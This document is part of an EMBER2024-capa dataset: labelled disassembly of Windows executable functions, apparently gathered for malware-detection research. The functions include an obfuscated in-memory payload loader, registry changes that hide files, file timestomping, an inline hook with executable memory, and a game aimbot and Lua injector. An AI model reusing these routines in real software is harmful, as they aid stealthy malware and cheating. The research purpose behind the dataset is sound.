joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c3d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40c3df
pop dword [ebp - 0x50]
mov eax, 0x1287129d
sub eax, 0x12464ebe
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x4c771e75
sub dword [ebp - 0x60], 0xfe24d92a
mov dword [ebp - 0x5c], 0xa0052c03
add dword [ebp - 0x5c], 0x922e2042
mov dword [ebp - 0x58], 0x196de527
add dword [ebp - 0x58], 0x32de5f07
mov dword [ebp - 0x54], 0x4ff30714
sub dword [ebp - 0x54], 0x4ff30714
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xf92023cf
add dword [ebp - 0x60], 0x7b524587
mov dword [ebp - 0x5c], 0xafc433e0
add dword [ebp - 0x5c], 0x91a82d95
mov dword [ebp - 0x58], 0xa47f01
add dword [ebp - 0x58], 0x62caed6b
mov dword [ebp - 0x54], 0x93aebc66
add dword [ebp - 0x54], 0x6c51439a
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3c09d
push 0
call eax
mov ecx, 0x4c9f
xor ebx, ebx
add ebx, eax
mov edx, 0x41c000
add edx, dword [ebp - 0x50]
mov edi, 0x7d19141c
sub edi, 0x9e9df6ae
xor dword [ebp - 0x28], 0x9ce88595
mov esi, dword [edx]
add dword [ebp - 0x3c], 0xa5fe12d5
sub esi, edi
mov dword [ebx], esi
add dword [ebp - 0x34], edx
add ebx, 0xbb8f4b26
sub ebx, 0xbb8f4b22
add edx, 4
loop 0x40c4ed
add eax, 0x93910bb1
add eax, 0x6c70199e
xor ebx, ebx
add ebx, eax
add eax, 0x69178642
add eax, 0x96e879c3
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x402060
Capabilities:
Get disk size

Disassembly:
sub esp, 0x21c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x218], eax
push esi
mov esi, dword [esp + 0x228]
push edi
mov edi, dword [esp + 0x228]
push 0x208
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00403b40
lea edx, [esp + 0x24]
add esp, 0xc
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4020a0
lea ecx, [esp + 0x18]
push 0x40d280
push ecx
call fcn.00403acf
xor edx, edx
mov word [eax + 2], dx
xor eax, eax
add esp, 8
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push eax
push edx
push edx
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
push 0
push 7
push edx
push eax
call fcn.00403d00
push 0
push 0xa
push edx
push eax
call fcn.00403c90
lea ecx, [esp + 0x10]
push ecx
push esi
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edx
call fcn.00401cd0
mov ecx, dword [esp + 0x22c]
add esp, 0xc
pop edi
pop esi
xor ecx, esp
call fcn.00403b30
add esp, 0x21c
ret

Function at 0x402130
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x414
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x410], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.00403b40
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21e]
push eax
mov word [esp + 0x220], dx
call fcn.00403b40
add esp, 0x18
push 0x104
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402193
sub eax, edx
sar eax, 1
push edi
add eax, 0xfffffffc
push eax
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push eax
call fcn.00403d60
lea edi, [esp + 0x218]
add esp, 0xc
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4021c6
mov ecx, dword [0x40d280]
push 3
push 0
push 0
lea edx, [esp + 0x218]
push edx
push 0x40d284
push 0
mov dword [edi], ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
cmp eax, 0x20
setg cl
pop edi
mov eax, ecx
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.00403b30
add esp, 0x414
ret
Function at 0x402220
Capabilities:
Set registry value

Disassembly:
sub esp, 0x41c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x418], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00403b40
push 0x208
lea edx, [esp + 0x220]
push 0
push edx
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x18], 0
call fcn.00403b40
add esp, 0x18
xor eax, eax
jmp 0x402280
movzx ecx, word [eax + str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
mov word [esp + eax + 0x210], cx
add eax, 2
test cx, cx
jne 0x402280
lea eax, [esp]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x21c]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402477
push 0x208
push eax
lea edx, [esp + 0x10]
push edx
call fcn.00403b40
add esp, 0xc
xor eax, eax
jmp 0x4022e0
movzx ecx, word [eax + str.Hidden]
mov word [esp + eax + 8], cx
add eax, 2
test cx, cx
jne 0x4022e0
mov edx, dword [esp]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
lea ecx, [esp + 0x1c]
push ecx
push edx
mov dword [esp + 0x20], 2
call edi
test eax, eax
jne 0x402447
push 0x208
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.00403b40
add esp, 0xc
xor eax, eax
jmp 0x402340
movzx ecx, word [eax + str.HideFileExt]
mov word [esp + eax + 0xc], cx
add eax, 2
test cx, cx
jne 0x402340
mov ecx, dword [esp + 4]
push 4
lea edx, [esp + 0xc]
push edx
push 4
push 0
lea eax, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x20], 1
call edi
test eax, eax
je 0x40239a
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x418]
xor ecx, esp
call fcn.00403b30
add esp, 0x41c
ret
push 0x208
lea eax, [esp + 0x10]
push 0
push eax
call fcn.00403b40
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.ShowSuperHidden]
mov word [esp + eax + 0xc], cx
add eax, 2
test cx, cx
jne 0x4023b0
mov eax, dword [esp + 4]
push 4
lea ecx, [esp + 0xc]
push ecx
push 4
push 0
lea edx, [esp + 0x1c]
push edx
push eax
mov dword [esp + 0x20], 0
call edi
test eax, eax
je 0x4023ee
mov ecx, dword [esp + 4]
push ecx
jmp 0x40237c
push 0x208
lea edx, [esp + 0x10]
push 0
push edx
call fcn.00403b40
add esp, 0xc
xor eax, eax
jmp 0x402410
movzx ecx, word [eax + str.WebViewBarricade]
mov word [esp + eax + 0xc], cx
add eax, 2
test cx, cx
jne 0x402410
mov edx, dword [esp + 4]
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
lea ecx, [esp + 0x1c]
push ecx
push edx
mov dword [esp + 0x20], 0
call edi
test eax, eax
je 0x402451
mov eax, dword [esp + 4]
push eax
jmp 0x40237c
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
mov ecx, dword [esp + 0x418]
xor ecx, esp
call fcn.00403b30
add esp, 0x41c
ret
mov ecx, dword [esp + 0x418]
xor ecx, esp
xor eax, eax
call fcn.00403b30
add esp, 0x41c
ret
Function at 0x402a80
Capabilities:
Create directory
Get common file path
Set file attributes
Timestomp file

Disassembly:
sub esp, 0x224
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push esi
mov esi, dword [esp + 0x230]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x2a]
push ecx
mov word [esp + 0x2c], ax
call fcn.00403b40
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 0xc
push 0
push 0x2000000
push 3
push 0
push 3
push 0
push esi
call ebx
cmp eax, 0xffffffff
je 0x402af7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.00403b30
add esp, 0x224
ret
push ebp
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0x2000000
push 3
push 0
push 5
push 0xc0000000
push esi
call ebx
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402be8
push edi
push 0x208
lea edx, [esp + 0x2c]
push 0
push edx
call fcn.00403b40
add esp, 0xc
push 0x104
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edi, [esp + 0x28]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402b56
push 0
push 0x80
push 3
push 0
push 1
mov ecx, 7
mov esi, 0x40d378
rep movsd dword es:[edi], dword [esi]
push 0x80000000
lea ecx, [esp + 0x40]
push ecx
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
je 0x402bc7
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x402bc4
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call edi
push ebp
call edi
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x220]
xor ecx, esp
call fcn.00403b30
add esp, 0x224
ret
mov ecx, dword [esp + 0x22c]
pop ebp
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00403b30
add esp, 0x224
ret
Function at 0x402c10
Capabilities:
Get storage device properties

Disassembly:
sub esp, 0x64
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x60], eax
mov edx, dword [esp + 0x68]
push ebx
xor ebx, ebx
xor eax, eax
push esi
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
movzx ecx, word [eax + str.._]
mov word [esp + eax + 0x40], cx
add eax, 2
cmp cx, bx
jne 0x402c50
mov eax, edx
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402c66
push edi
lea edi, [esp + 0x44]
sub eax, edx
add edi, 0xfffffffe
jmp 0x402c80
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x402c80
mov ecx, eax
shr ecx, 2
push ebx
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push ebx
push 3
push ebx
push 3
mov ecx, eax
push 0x80000000
lea eax, [esp + 0x5c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
lea ecx, [esp + 0x10]
push ecx
push 0x28
lea edx, [esp + 0x28]
push edx
mov esi, eax
push 0xc
lea eax, [esp + 0x24]
push eax
push 0x2d1400
push esi
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x40], 0x28
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
test eax, eax
je 0x402cf4
xor ebx, ebx
cmp dword [esp + 0x34], 7
sete bl
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x68]
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00403b30
add esp, 0x64
ret
Function at 0x4037e0
Capabilities:
Get disk information
Get storage device properties

Disassembly:
sub esp, 0x470
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x46c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x480]
xor ebx, ebx
push 0xd0
mov dword [esi + 4], ebx
mov dword [esp + 0x18], esi
add esi, 8
push ebx
push esi
call fcn.00403b40
push 0x400
lea eax, [esp + 0x88]
push ebx
push eax
mov dword [esp + 0x28], ebx
call fcn.00403b40
add esp, 0x18
lea ecx, [esp + 0x78]
push ecx
push 0x200
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea ebp, [esp + 0x78]
cmp word [esp + 0x78], bx
je 0x40399f
mov dword [esp + 0xc], esi
push edi
xor eax, eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov edi, edi
movzx ecx, word [eax + str.._]
mov word [esp + eax + 0x54], cx
add eax, 2
cmp cx, bx
jne 0x403880
mov eax, ebp
mov edx, ebp
jmp 0x4038a0
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4038a0
lea edi, [esp + 0x54]
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x4038b4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x54]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4038d7
push ebx
push ebx
push 3
sub eax, edx
push ebx
sar eax, 1
xor edx, edx
push 3
mov word [esp + eax*2 + 0x66], dx
push 0x80000000
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
lea ecx, [esp + 0x20]
push ecx
push 0x28
lea edx, [esp + 0x38]
push edx
mov esi, eax
push 0xc
lea eax, [esp + 0x34]
push eax
push 0x2d1400
push esi
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x50], 0x28
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x403974
cmp dword [esp + 0x48], 7
jne 0x403974
mov edx, dword [esp + 0x10]
mov eax, ebp
sub edx, ebp
lea esp, [esp]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bx
jne 0x403950
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
inc eax
add dword [esp + 0x10], 8
mov dword [esp + 0x14], eax
mov dword [ecx + 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x403980
sub eax, edx
sar eax, 1
cmp word [ebp + eax*2 + 2], bx
lea ebp, [ebp + eax*2 + 2]
jne 0x403854
pop edi
mov ecx, dword [esp + 0x478]
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00403b30
add esp, 0x470
ret
Function at 0x4039c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x290
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x28c], eax
xor eax, eax
push 0x7e
push eax
lea ecx, [esp + 0x16]
push ecx
mov word [esp + 0x18], ax
call fcn.00403b40
xor edx, edx
push 0x1fe
push edx
lea eax, [esp + 0xa2]
push eax
mov word [esp + 0xa4], dx
call fcn.00403b40
push str.SYSTEMCurrentControlSetServicesUSBSTOREnum
lea ecx, [esp + 0xa8]
push 0x100
push ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x2c], 4
call fcn.00403ec3
push str.Count
lea edx, [esp + 0x34]
push 0x40
push edx
call fcn.00403ec3
add esp, 0x30
lea eax, [esp + 4]
push eax
push 0x20019
push 0
lea ecx, [esp + 0x98]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403a89
lea edx, [esp + 8]
push edx
mov edx, dword [esp + 8]
lea eax, [esp + 4]
push eax
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 0x28c]
mov eax, dword [esp]
xor ecx, esp
call fcn.00403b30
add esp, 0x290
ret

Function at 0x403b30
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x403b3a
repz ret
jmp fcn.004040e3
Function at 0x409d35
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040710b
and dword [ebp - 4], 0
cmp dword [0x41185c], 0
mov ebx, eax
jne 0x409de6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409e97
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409e97
push eax
call fcn.00407099
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41185c], eax
call esi
push eax
call fcn.00407099
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x411860], eax
call esi
push eax
call fcn.00407099
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x411864], eax
call esi
push eax
call fcn.00407099
pop ecx
mov dword [0x41186c], eax
test eax, eax
je 0x409de6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407099
pop ecx
mov dword [0x411868], eax
mov eax, dword [0x411868]
cmp eax, ebx
je 0x409e3e
cmp dword [0x41186c], ebx
je 0x409e3e
push eax
call fcn.00407114
push dword [0x41186c]
mov esi, eax
call fcn.00407114
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409e3e
test edi, edi
je 0x409e3e
call esi
test eax, eax
je 0x409e35
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409e35
test byte [ebp - 0xc], 1
jne 0x409e3e
or dword [ebp + 0x10], 0x200000
jmp 0x409e77
mov eax, dword [0x411860]
cmp eax, ebx
je 0x409e77
push eax
call fcn.00407114
pop ecx
test eax, eax
je 0x409e77
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409e77
mov eax, dword [0x411864]
cmp eax, ebx
je 0x409e77
push eax
call fcn.00407114
pop ecx
test eax, eax
je 0x409e77
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41185c]
call fcn.00407114
pop ecx
test eax, eax
je 0x409e97
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409e99
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43d39f
Capabilities:
Encode data using xor

Disassembly:
mov dword [esp + 0x4c], esi
xchg esi, eax
push 0x20
mov ecx, 0xed5dfc82
mov edi, dword [esp + 0x4c]
push 8
xor edx, 0x28
cld
push esp
call edi
call dword [esp + 0x50]
dec byte [esp]
jne 0x43d2ed
inc edi
test edx, esi
cld
pop eax
push 1
call fcn.0043d38e
pop dword [esi + 0x1c]
mov dword [esi + 0x14], 0xc
lea eax, [ebp + 0x36d]
not edx
or ecx, 0x92545d31
inc ecx
push eax
mov dword [esi + 0x18], esi
sub byte [esi + 2], 0xfc
xchg ecx, edx
setp cl
push 4
or edi, 0x5a
inc edi
push 3
lea esi, [esi + 0x14]
push esi
xchg edi, ecx
add dword [ebp + 0x1ef], ebp
call dword [0xffffffe7]
jmp 0x43d467
push 0xad3285f
adc al, al
call fcn.00436a52
dec ecx
dec edx
xchg edx, edi
mov al, 0xc5
mov dword [ebp - 0x19], esi
mov ecx, 0x6575907d
push 0x975b079b
call fcn.00436a52
lea eax, [esp + 0x28]
jmp 0x43d2dd
mov esi, edi
dec dl
xchg cl, dh
sub dword [ebp + 0x1ef], ebp
ret
Function at 0x100016c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1002b380]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push esi
mov esi, dword [0x1002ca50]
push edi
push eax
push 0x40
push 5
push esi
mov dword [ebp - 8], 0
call ebx
mov eax, dword [esi]
mov ecx, 0x10001790
mov dword [0x1002ca58], eax
sub ecx, esi
mov al, byte [esi + 4]
sub ecx, 5
mov byte [0x1002ca5c], al
mov eax, ecx
mov byte [esi], 0xe9
mov byte [esi + 1], cl
shr eax, 8
mov byte [esi + 2], al
mov eax, ecx
push 0x40
push 0x3000
shr eax, 0x10
push 5
shr ecx, 0x18
mov byte [esi + 3], al
push 0
mov byte [esi + 4], cl
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x1000174e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007487
mov esp, ebp
pop ebp
ret
mov ecx, esi
mov byte [edi], 0xe9
sub ecx, edi
mov byte [edi + 1], cl
mov eax, ecx
shr eax, 8
mov byte [edi + 2], al
mov eax, ecx
shr eax, 0x10
push 0
mov byte [edi + 3], al
shr ecx, 0x18
mov byte [edi + 4], cl
push dword [ebp - 8]
push 5
push esi
call ebx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007487
mov esp, ebp
pop ebp
ret
Function at 0x10002a70
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov byte [esp + 0xa], 0
mov edi, 0x69f1e0
nop dword [eax + eax]
push 0x60
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x10002ad2
cmp byte [esp + 0xa], 0
push 0
push 0
push 0xbb8
jne 0x10002abd
push str.AIM_BOT_ON_
mov byte [esp + 0x1a], 1
call edi
add esp, 0x10
jmp 0x10002ad9
push str.AIM_BOT_OFF_
mov byte [esp + 0x1a], 0
call edi
add esp, 0x10
push 0x64
call esi
jmp 0x10002a90
cmp byte [esp + 0xa], 0
je 0x10002acc
mov eax, 0xb6f5f0
mov eax, dword [eax]
test eax, eax
je 0x10002c8c
cmp byte [eax + 0x46c], 1
je 0x10002c8c
mov esi, dword [eax + 0x14]
mov eax, 0xb6f3b8
mov eax, dword [eax]
mov eax, dword [eax + 0x79c]
test eax, eax
je 0x10002c86
movss xmm0, dword [eax + 0x540]
xorps xmm1, xmm1
comiss xmm0, xmm1
mov edi, dword [eax + 0x14]
jbe 0x10002c81
movss xmm0, dword [eax + 0x44]
mov ecx, 0xb6f9cc
mulss xmm0, dword [0x100273d0]
movss xmm1, dword [edi + 0x34]
movss xmm2, dword [ecx]
addss xmm0, dword [edi + 0x30]
movss dword [esp + 0x14], xmm1
subss xmm2, xmm0
movss xmm0, dword [eax + 0x48]
mulss xmm0, dword [0x100273d0]
mov eax, 0xb6f9d0
andps xmm2, xmmword [0x100273e0]
addss xmm0, xmm1
movss xmm1, dword [eax]
movss dword [esp + 0xc], xmm2
subss xmm1, xmm0
movaps xmm0, xmm2
mulss xmm0, xmm2
andps xmm1, xmmword [0x100273e0]
mulss xmm1, xmm1
addss xmm1, xmm0
cvtps2pd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm1, xmm0
ja 0x10002ba1
sqrtsd xmm0, xmm0
jmp 0x10002ba6
call fcn.1001fea0
movss xmm1, dword [esp + 0xc]
cvtsd2ss xmm0, xmm0
divss xmm1, xmm0
cvtps2pd xmm0, xmm1
movss dword [esp + 0xc], xmm1
call fcn.1001f950
movss xmm1, dword [esp + 0xc]
cvtsd2ss xmm0, xmm0
movss dword [esp + 0x10], xmm0
cvtps2pd xmm0, xmm1
call fcn.1001f430
movss xmm3, dword [esi + 0x30]
movss xmm1, dword [edi + 0x30]
comiss xmm3, xmm1
movss xmm5, dword [0x100273f0]
cvtsd2ss xmm0, xmm0
jbe 0x10002c05
movss xmm2, dword [edi + 0x34]
comiss xmm2, dword [esi + 0x34]
jbe 0x10002c0b
xorps xmm0, xmm5
jmp 0x10002c0b
movss xmm2, dword [esp + 0x14]
comiss xmm1, xmm3
jbe 0x10002c4a
movss xmm3, dword [esi + 0x34]
comiss xmm3, xmm2
movss xmm1, dword [esp + 0x10]
movsd xmm4, qword [0x100273c8]
jbe 0x10002c33
cvtps2pd xmm0, xmm1
addsd xmm0, xmm4
cvtpd2ps xmm0, xmm0
comiss xmm2, xmm3
jbe 0x10002c4a
xorps xmm0, xmm0
xorps xmm1, xmm5
cvtss2sd xmm0, xmm1
subsd xmm0, xmm4
cvtpd2ps xmm0, xmm0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xb7347a
mov edi, 0x69f1e0
cmp dword [eax], 0
jle 0x10002c8c
cvtss2sd xmm0, xmm0
mov eax, 0xb6f258
push 0xa
addsd xmm0, qword [0x100273c0]
cvtsd2ss xmm0, xmm0
movss dword [eax], xmm0
call esi
jmp 0x10002a90
mov edi, 0x69f1e0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
jmp 0x10002a90
Function at 0x10003be0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x40
sub dword [ebp + 0xc], 1
jne 0x10003d78
mov dword [esp + 8], 0x4f94ad41
mov dword [esp + 0xc], 0xf5d9a84a
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 8], 0x522a14aa
mov dword [esp + 0xc], 0x4f891e
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 8], 0x24f9c835
mov dword [esp + 0xc], 0x99bd862b
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x30], eax
mov dword [esp + 8], 0x522a14c6
mov dword [esp + 0x34], ecx
mov dword [esp + 0xc], 0x4f891e
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
movaps xmm1, xmmword [esp + 0x10]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x3c], ecx
xorps xmm1, xmmword [esp + 0x30]
push eax
movaps xmmword [esp + 0x14], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
call fcn.100044c0
mov dword [esp + 8], 0x4f94ad41
mov dword [esp + 0xc], 0xf5d9a84a
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], eax
mov dword [esp + 8], 0x522a14aa
mov dword [esp + 0xc], 0x4f891e
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], eax
mov dword [esp + 8], 0x24f9c835
mov dword [esp + 0xc], 0x99bd862b
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 8], 0x522a14c6
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0xc], 0x4f891e
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
movaps xmm1, xmmword [esp + 0x20]
mov dword [esp + 0x3c], ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0x38], eax
xorps xmm1, xmmword [esp + 0x30]
movaps xmmword [esp + 0x20], xmm1
call fcn.100042e0
push str.0.0.1
push str._INFO__LUA_INJECTOR_FOR_MTA:PROVINCE_INJECTED_
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 7
movups xmmword [ecx], xmm0
push str.Lua.log
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.100040a0
call fcn.100012f0
add esp, 0x20
push 0
push 0
push 0
push 0x100039a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc